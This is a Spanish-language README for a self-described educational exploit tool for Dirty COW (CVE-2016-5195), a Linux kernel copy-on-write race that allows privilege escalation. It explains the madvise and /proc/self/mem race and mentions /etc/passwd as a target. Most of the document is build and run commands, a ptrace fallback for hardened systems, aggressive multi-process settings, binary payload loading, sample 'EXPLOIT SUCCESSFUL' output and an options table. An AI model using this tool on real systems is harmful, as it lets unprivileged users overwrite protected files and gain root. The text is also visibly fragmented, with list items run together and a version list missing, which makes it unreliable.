
PoC educativo para Dirty COW (CVE-2016-5195) con registro, respaldo de ptrace y soporte de carga binaria.
Este código es SOLO CON FINES EDUCATIVOS. Cualquier uso malicioso está estrictamente prohibido y es ilegal.
Dirty COW (CVE-2016-5195) es una vulnerabilidad de escalada de privilegios en el kernel de Linux que explota una condición de carrera en el mecanismo de copia en escritura (COW) del kernel. Esta vulnerabilidad afecta a los kernels de Linux desde la versión 2.6.22 (lanzada en 2007) hasta versiones anteriores a:
La vulnerabilidad ocurre en el sistema de gestión de memoria del kernel:
MAP_PRIVATE, las modificaciones deberían crear una copia privada.madvise(MADV_DONTNEED) y la escritura en /proc/self/mem./etc/passwd.NUNCA ejecute esto en sistemas de producción o sistemas que no le pertenezcan.
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem (por defecto)ptrace(PTRACE_POKETEXT) para sistemas restringidosEscanea múltiples desplazamientos de memoria para encontrar la mejor posición de escritura:
./main -D -v # Enable dynamic offset scanning
Lanzar múltiples procesos para condiciones de carrera intensas:
./main -n 4 # Use 4 parallel processes
Cargar datos binarios arbitrarios desde archivos:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Reintentar intentos fallidos automáticamente:
./main -r 5 # Retry up to 5 times
Utiliza hash SHA-256 para verificar las modificaciones de archivos:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
La herramienta crea registros detallados en exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
El exploit funciona creando una carrera entre dos operaciones:
madvise(MADV_DONTNEED) - Le dice al kernel que descarte páginas de memoria./proc/self/mem - Intenta escribir en la memoria mapeada.MAP_PRIVATECuando la condición de carrera tiene éxito:
1. "Exploit falló o iteraciones insuficientes"
-i o use múltiples procesos -n2. "Acceso a /proc/self/mem falló"
-P3. "El sistema puede no ser vulnerable"
uname -r4. El sistema se vuelve no responsive
-i 1000000-n 1# Configuración conservadora (más lenta pero más segura)
./main -i 5000000 -n 1
# Configuración agresiva (más rápida pero intensiva en recursos)
./main -i 50000000 -n 4 -D
# Configuración equilibrada
./main -i 20000000 -n 2 -r 2 -D
Esta es una herramienta educativa. Las contribuciones deben centrarse en:
Este software se proporciona solo con fines educativos y de investigación. Los autores y contribuyentes no son responsables de ningún uso indebido o daño causado por este programa. Los usuarios son los únicos responsables de asegurarse de tener la autorización adecuada antes de realizar pruebas en cualquier sistema.
Al usar este software, usted reconoce que:
Este proyecto se publica bajo la Licencia MIT solo con fines educativos.
Recuerde: Un gran poder conlleva una gran responsabilidad. Use este conocimiento para proteger y asegurar sistemas, no para dañarlos.
| Opción | Descripción | Por Defecto | Máximo |
|---|
-t <file> | Ruta del archivo objetivo | /tmp/dirty_cow_test | - |
-p <payload> | Carga útil de texto personalizada | Test string | - |
-f <file> | Cargar carga útil binaria desde archivo | - | - |
-i <num> | Número de iteraciones | 10,000,000 | 100,000,000 |
-n <num> | Número de procesos paralelos | 1 | 8 |
-r <num> | Intentos de reintento | 1 | 10 |
-P | Usar ptrace en lugar de /proc/self/mem | Deshabilitado | - |
-D | Habilitar escaneo de desplazamiento dinámico | Deshabilitado | - |
-v | Salida detallada | Deshabilitado | - |
-l <file> | Ruta del archivo de registro | exploit_log.txt | - |
-h | Mostrar ayuda | - | - |